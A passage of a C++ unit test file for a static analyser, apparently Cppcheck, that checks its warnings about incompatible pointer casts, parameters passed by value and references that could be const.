checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n 